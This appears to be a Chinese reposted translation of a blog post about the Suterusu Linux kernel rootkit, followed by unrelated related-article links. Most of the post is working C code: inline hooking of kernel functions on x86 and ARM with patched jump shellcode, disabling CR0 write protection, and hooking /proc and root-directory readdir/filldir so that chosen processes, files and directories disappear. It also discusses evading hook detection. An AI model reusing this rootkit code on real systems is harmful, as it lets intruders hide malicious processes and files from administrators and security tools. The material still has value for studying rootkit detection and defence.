rootkit 内核函数hook
转自:https://0x90syntax.wordpress.com/2016/02/21/suterusu-rootkitx86%e4%b8%8earm%e7%9a%84%e5%86%85%e8%81%94%e5%86%85%e6%a0%b8%e5%87%bd%e6%95%b0hooking/
Suterusu Rootkit:x86与ARM的内联内核函数Hooking
Translated By solve From Silic Forum
title:Suterusu Rootkit:Inline kernel Function Hooking on x86 and ARM
author:Michael Coppola
link:http://poppopret.org/2013/01/07/suterusu-rootkit-inline-kernel-function-hooking-on-x86-and-arm/
介绍
几个月前,我添加了一个新的项目。(https://github.com/mncoppola/suterusu)通过我的各种对路由器后门及内核漏洞利用的探险,我最近的兴趣转向Linux内核Rootkit以及什么能让他们进行挂钩(tick)。我进行了一些搜索主要是在http://packetstormsecurity.org/和其他一些Blog里找归档,但是让我吃惊的是现在公开的Linux Rootkit并没有多少。最突出的成果围绕在adore-ng(至少从表面来看在2007年前都没有更新),和一些杂项,比如suckit,kbeast和Phalanx。内核的变化每年都有,所以我希望能有一些更新鲜的干货。
所以,就像大多数项目一样,我说“Screw
it”,然后打开Vim。我会写一个我自己的,可以在最近的系统与架构上工作的Rootkit;我也会研究他们如何完成这些行为。我想正式地向您介绍Suterusu,我个人面向x86与ARM平台上的Linux
2.6及3.x的内核Rootkit项目。
在技术,设计与实现上有很多方法,但我会从一些基础开始着手。Suterusu目前显示的是一个大的特征数组(当然还会有更多升级),但它可能更适用于这些单独的博客文章。
Suterusu中的函数Hooking
大多数Rootkit在传统上利用在系统调用表中换出函数指针进行系统调用,但是这玩意儿已经能被智能Rootkit监测发现了。不走寻常路,Suterusu采用了不同的技术,修改目标函数以执行转移到置换程序进行Hooking。这可以通过检查下列四种函数来发现。
hijack_start()
hijack_pause()
hijack_resume()
hijack_stop()
这些函数通过与sym-hook结构的链表来跟踪挂钩。
struct sym_hook {
void *addr;
unsigned char o_code[HIJACK_SIZE];
unsigned char n_code[HIJACK_SIZE];
struct list_head list;
};
LIST_HEAD(hooked_syms);
要充分认识到hooking进程,我们得分析点代码。
x86上的函数Hooking
绝大部分的加权都由以作为实参指针的目标程序与“hook-with”例程的hijiack_start函数包揽。
void hijack_start ( void *target, void *new )
{
struct sym_hook *sa;
unsigned char o_code[HIJACK_SIZE], n_code[HIJACK_SIZE];
unsigned long o_cr0;
// push $addr; ret
memcpy(n_code, “\x68\x00\x00\x00\x00\xc3”, HIJACK_SIZE);
*(unsigned long *)&n_code[1] = (unsigned long)new;
memcpy(o_code, target, HIJACK_SIZE);
o_cr0 = disable_wp();
memcpy(target, n_code, HIJACK_SIZE);
restore_wp(o_cr0);
sa = kmalloc(sizeof(*sa), GFP_KERNEL);
if ( ! sa )
return;
sa->addr = target;
memcpy(sa->o_code, o_code, HIJACK_SIZE);
memcpy(sa->n_code, n_code, HIJACK_SIZE);
list_add(&sa->list, &hooked_syms);
}
一种小型的shellcode的缓冲区被初始化为“push dword 0;ret”系列,其中被推入的值(pushed
value)被用hook_with函数的指针修补(patch)。HIJACK_SIZE的字节数(相当于shellcode的大小)被从目标函数中复制,序言和被修补的shellcode则进行覆盖。在这一点上,所有调用目标函数的函数都将被重定向到我们的hook_with函数。
最后一步,将目标函数的指针,原始代码及挂钩代码存储到挂钩的链表中,从而完成该操作。其余劫持函数在此链表上操作。
hijiack_pause将临时卸载所需挂钩:
void hijack_pause ( void *target )
{
struct sym_hook *sa;
list_for_each_entry ( sa, &hooked_syms, list )
if ( target == sa->addr )
{
unsigned long o_cr0 = disable_wp();
memcpy(target, sa->o_code, HIJACK_SIZE);
restore_wp(o_cr0);
}
}
hijiack_resume又重新安装所需挂钩:
void hijack_resume ( void *target )
{
struct sym_hook *sa;
list_for_each_entry ( sa, &hooked_syms, list )
if ( target == sa->addr )
{
unsigned long o_cr0 = disable_wp();
memcpy(target, sa->n_code, HIJACK_SIZE);
restore_wp(o_cr0);
}
}
hijiack_stop()卸载挂钩并把它从链表中删除:
void hijack_stop ( void *target )
{
struct sym_hook *sa;
list_for_each_entry ( sa, &hooked_syms, list )
if ( target == sa->addr )
{
unsigned long o_cr0 = disable_wp();
memcpy(target, sa->o_code, HIJACK_SIZE);
restore_wp(o_cr0);
list_del(&sa->list);
kfree(sa);
break;
}
}
x86中的写入保护 因为内核页面被标记为只读,试图在这个区域覆盖主函数序言会产生一个内核错误。这种保护可能一般会用在cr0寄存器中的WP位设置为0,在CPU上禁用写保护加以避免。维基百科上关于寄存器的文章也印证了此属性。
bit 16
name WP
full name Write Protect
description Determines whether the CPU can write to pages marked read-only
WP位将需要被设定并在代码中的多个复合点(multiple point)重置,所以它将使程序感知(?)抽象化操作。下列代码源于PaX
Project,特别是native_pax_open_kernel()和native_pax_close_kernel()例程。要格外小心SMP系统中坑爹的调用而引发一个潜在的竞争条件,正如Dan
Rosenberg的一篇博文所说:
inline unsigned long disable_wp ( void )
{
unsigned long cr0;
preempt_disable();
barrier();
cr0 = read_cr0();
write_cr0(cr0 & ~X86_CR0_WP);
return cr0;
}
inline void restore_wp ( unsigned long cr0 )
{
write_cr0(cr0);
barrier();
preempt_enable_no_resched();
}
ARM上的函数Hooking
Hooking例程中hijack_*set一些显著的变化取决于是否被编译为x86或ARM实现。例如,WP位的概念在ARM中并不存在,所以必须特别注意数据处理和体系结构引入的指令缓存。而在x86或x86_64
中确实存在数据与指令缓存的概念,但这样的功能并未对开发造成障碍。 hijack_start()的一个适用于ARM的版本进行修改以适应这些新的架构特性。
void hijack_start ( void *target, void *new )
{
struct sym_hook *sa;
unsigned char o_code[HIJACK_SIZE], n_code[HIJACK_SIZE];
if ( (unsigned long)target % 4 == 0 )
{
// ldr pc, [pc, #0]; .long addr; .long addr
memcpy(n_code, “\x00\xf0\x9f\xe5\x00\x00\x00\x00\x00\x00\x00\x00”, HIJACK_SIZE);
*(unsigned long *)&n_code[4] = (unsigned long)new;
*(unsigned long *)&n_code[8] = (unsigned long)new;
}
else // Thumb
{
// add r0, pc, #4; ldr r0, [r0, #0]; mov pc, r0; mov pc, r0; .long addr
memcpy(n_code, “\x01\xa0\x00\x68\x87\x46\x87\x46\x00\x00\x00\x00”, HIJACK_SIZE);
*(unsigned long *)&n_code[8] = (unsigned long)new;
target–;
}
memcpy(o_code, target, HIJACK_SIZE);
memcpy(target, n_code, HIJACK_SIZE);
cacheflush(target, HIJACK_SIZE);
sa = kmalloc(sizeof(*sa), GFP_KERNEL);
if ( ! sa )
return;
sa->addr = target;
memcpy(sa->o_code, o_code, HIJACK_SIZE);
memcpy(sa->n_code, n_code, HIJACK_SIZE);
list_add(&sa->list, &hooked_syms);
}
ARM上的指令缓存
大部
分Android设备不具备只读内核页面的权限,所以至少现在我们可以放弃一些潜在认定为“巫术”(voodoo magic)之类的玩意儿,写入受保护的内存分区。它仍然必要,但是,在执行函数挂钩时应考虑ARM指令缓存的概念。
ARM的CPU把性能优势用于数据缓存与指令缓存,然而,就地修改代码可能使内存中的实际指令与指令缓存不连贯。根据官方的ARM技术参考,开发自我修改代码时,这个问题变得显而易见。解决的方法是当内核文本修改时简单刷新指令缓存(这由向内核例程flush_icache_range()发起调用):
void cacheflush ( void *begin, unsigned long size )
{
flush_icache_range((unsigned long)begin, (unsigned long)begin + size);
}
内联挂钩的优缺点
就大多数技术而言,内联函数挂钩与简单的劫持系统调用表相比,存在各种利弊。 优点1:任何函数都可能被劫持,不仅仅是系统调用。
优点2:更少地
在Rootkit中实现,所以它更难
被Rootkit检测发现。由于ASM的灵活性,逃避被简易挂钩检测引擎发现更容易了。x86平台的多种检测逃避技术在《x86 API Hooking Demystified
》中可以找到。
优点3:内联函数挂钩可被应用于具有最小/不修改的用户态。Northeastern’s HPC Lab开发出了一个工作
于Android端口的分布式多线程检查点(DMTCP)的检查点应用,它可以简单复制粘贴hijiack_*的全部例程,并只能修改为使用用户链表。
缺点1:目前挂钩的实现不是线程安全的。通过hijack_pause()函数暂时脱钩,打开其他线程的竞争窗口以在hijack_resume()被调用前执行脱钩函数潜在的解决方案包括狡猾地使用锁定以及永久劫持目标函数和在hook-with例程中插入额外的逻辑。然而,在执行可变长度指令架构(x86/_64)和PC/IP相对寻址(x86_64和ARM)特征化架构的原始函数序言时,要特别注意。
缺点2:最近另一种有害可能是递归使用挂钩。执行不力相比于任何不可克服的设计缺陷的问题更是如此,有各种问题的解决方案使您的hook-with函数意外调用被挂钩的函数本身导致无限递归。这个问题的参考文章也是[url=http://jbremer.org/x86-api-hooking-demystified/#ah-recursion]《x86 API Hooking Demystified》。[/url]
隐藏进程,文件和目录
一旦开始使用一个可靠的挂钩“框架”,拦截有趣的函数与做有趣的事情将相当琐碎。一个Rootkit应做的最基本的事情之一便是隐藏进程与文件系统对象,这两者都可能使用相同的基础技术完成。
在Linux内核中,file_operatuons结构的一个或多个实例关联了每个支持它们的文件系统(通常是一个文件实例一个目录实例,但是如果深入到
内核源码,你会发现文件系统是一个异端)。这些结构包括指向与不同文件操作关联的例程的指针,比如读取,写入,mmap’ing,修改权限等。为了解释目标,我们将测试file_operations结构在ext3的目录对象的实例:
const struct file_operations ext3_dir_operations = {
.llseek = generic_file_llseek,
.read = generic_read_dir,
.readdir = ext3_readdir,
.unlocked_ioctl = ext3_ioctl,
#ifdef CONFIG_COMPAT
.compat_ioctl = ext3_compat_ioctl,
#endif
.fsync = ext3_sync_file,
.release = ext3_release_dir,
};
为了隐藏文件系统中的一个对象,简单挂钩readdir函数并筛选出它的输出中任何不被期望出现的项目是可能的。通过查找目标对象的文件结构
,Suterusu动态获取指向文件系统读取目录这一例行操作的指针,以进行系统级隐藏。
void *get_vfs_readdir ( const char *path )
{
void *ret;
struct file *filep;
if ( (filep = filp_open(path, O_RDONLY, 0)) == NULL )
return NULL;
ret = filep->f_op->readdir;
filp_close(filep, 0);
return ret;
}
实际的hook进程(项目隐藏在/proc中)看起来就像这样:
#if LINUX_VERSION_CODE > KERNEL_VERSION(2, 6, 30)
proc_readdir = get_vfs_readdir(“/proc”);
#endif
hijack_start(proc_readdir, &n_proc_readdir);
内核版本检查是为了应对在2.6.31版本中实现的改变,即从include/linux/proc_fs.h中消除导出proc_readdir()符号。在以前的版本中在外部链接检索指针值还是可能的,但现在Rootkit开发者被迫使用手动方式。
要执行/proc中一个对象的实际隐藏,
Suterusu使用下列例程将proc_readdir()挂钩
static int (*o_proc_filldir)(void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type);
int n_proc_readdir ( struct file *file, void *dirent, filldir_t filldir )
{
int ret;
o_proc_filldir = filldir;
hijack_pause(proc_readdir);
ret = proc_readdir(file, dirent, &n_proc_filldir);
hijack_resume(proc_readdir);
return ret;
}
作为对目录中每个项目执行的回调,filldir函数才承担了繁重的工作。这是被替换为恶意的n_proc_filldir()函数:
static int n_proc_filldir( void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type )
{
struct hidden_proc *hp;
char *endp;
long pid;
pid = simple_strtol(name, &endp, 10);
list_for_each_entry ( hp, &hidden_procs, list )
if ( pid == hp->pid )
return 0;
return o_proc_filldir(__buf, name, namelen, offset, ino, d_type);
}
因为其目的是通过劫持/proc的readdir/filldir例程来隐藏进程,Suterusu简单的执行针对用户希望隐藏的所有PID链表的匹配对象名称,如果发现匹配,回调返回0,将项目从目录列表中隐藏,否则,执行原始proc_filldir()函数,返回值。
同样的概念也适用于隐藏文件与目录,除了与一个直接的字符串匹配的对象名称而并非首先将PID名转换为数字类型。
static int n_root_filldir( void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type )
{
struct hidden_file *hf;
list_for_each_entry ( hf, &hidden_files, list )
if ( ! strcmp(name, hf->name) )
return 0;
return o_root_filldir(__buf, name, namelen, offset, ino, d_type);
}
rootkit 内核函数hook的更多相关文章
- 内核级HOOK的几种实现与应用
实现内核级 HOOK 对于拦截.分析.跟踪系统内核起着致关重要的作用.实现的方法不同意味着应用侧重点的不同.如想要拦截 NATIVE API 那么可能常用的就是 HOOK SERVICE TABLE ...
- Android的so注入( inject)和函数Hook(基于got表) - 支持arm和x86
本文博客地址:http://blog.csdn.net/qq1084283172/article/details/53942648 前面深入学习了古河的Libinject注入Android进程,下面来 ...
- 关于Linux系统调用,内核函数【转】
转自:http://blog.csdn.net/ubuntulover/article/details/5988220 早上听人说到某个程序的一部分是内核态,另一部分是用户态,需要怎么怎么.当时突然想 ...
- linux内核函数库文件的寻找
linux内核函数的so库文件怎么找呢? 首先还是要产生一个进程的coredump文件的 linux有一个lib-gdb.so库,这个进程的coredump文件中所有load段的最后一个load段中, ...
- Windows 驱动发展基金会(九)内核函数
Windows 驱动发展基金会系列,转载请注明出处:http://blog.csdn.net/ikerpeng/article/details/38849861 这里主要介绍3类Windows的内核函 ...
- Windows内核函数
字符串处理 在驱动中一般使用的是ANSI字符串和宽字节字符串,在驱动中我们仍然可以使用C中提供的字符串操作函数,但是在DDK中不提倡这样做,由于C函数容易导致缓冲区溢出漏洞,针对字符串的操作它提供了一 ...
- ftrace:跟踪你的内核函数! | Linux 中国
版权声明:本文为博主原创文章.未经博主同意不得转载. https://blog.csdn.net/F8qG7f9YD02Pe/article/details/79161135 ftrace 是一个 L ...
- 实验作业:使gdb跟踪分析一个系统调用内核函数
实验作业:使gdb跟踪分析一个系统调用内核函数(我使用的是getuid) 20135313吴子怡.北京电子科技学院 [第一部分] 根据视频演示的步骤,先做第一部分,步骤如下 ①更新menu代码到最新版 ...
- Xposed框架之函数Hook学习
作者:Fly2015 Xposed是Android下Java层的开源Hook框架类似的有cydiasubstrate框架而且据说cydiasubstrate框架能实现Android的Java层和Nat ...
随机推荐
- Docker使用入门
docker images 查看本地镜像 docker ps -a 查询容器 docker ps -l 查询最近使用容器 docker rm CONTAINER_ID 删除容器 docker rm ...
- Flask错误收集 【转】
感谢大佬 ---> 原文链接 一.pydev debugger: process XXXXX is connecting 这个错误网上找了很多资料都无法解决,尝试过多种方法后,对我来说,下面这个 ...
- 笔记-docker-3 使用
笔记-docker-3 使用 1. 镜像 image是docker最重要的概念,docker运行容器前需要本地存在对应的镜像,如果没有,会尝试从默认镜像库下载. 1.1. 镜像获取 查 ...
- python基础之列表、元组和字典
列表 列表定义:[]内以逗号分隔,按照索引,存放各种数据类型,每个位置代表一个元素 特性: 1.可存放多个值 2.可修改指定索引位置对应的值,可变 3.按照从左到右的顺序定义列表元素,下标从0开始顺序 ...
- JavaSE——javac、javap、jad
一.javac 用法:javac <选项> <源文件> 其中,可能的选项包括: -help 帮助信息 -g ...
- PHP代码审计5-实战漏洞挖掘-cms后台登录绕过
cms后台登录绕过 练习源码:[来源:源码下载](数据库配置信息有误,interesting) 注:需进行安装 1.创建数据库 2.设置账号密码,连接数据库 3.1 正常登录后台,抓包分析数据提交位置 ...
- 8,Linux系统基础优化及常用命令
Linux基础系统优化 引言没有,只有一张图. Linux的网络功能相当强悍,一时之间我们无法了解所有的网络命令,在配置服务器基础环境时,先了解下网络参数设定命令. ifconfig 查询.设置网卡和 ...
- java程序——凯撒加密
古罗马皇帝凯撒在打仗时曾经使用过以下方法加密军事情报: 请编写一个程序,使用上述算法加密或解密用户输入的英文字串要求设计思想.程序流程图.源代码.结果截图. 设计思想:输入一个字符串,然后将其中每 ...
- CSS计数器(自定义列表)
概念 CSS3计数器(CSS Counters)可以允许我们使用css对页面中的任意元素进行计数,实现类似于有序列表的功能(自定义有序列表) 与有序列表相比,它的突出特性在于可以对任意元素计数,同时实 ...
- Python数据类型一
一.整型 在Python内部对整数的处理分为普通整数和长整数,普通整数长度为机器位长,通常都是32位,超过这个范围的整数就自动当长整数处理,而长整数的范围几乎完全没限制Python可以处理任意大小的整 ...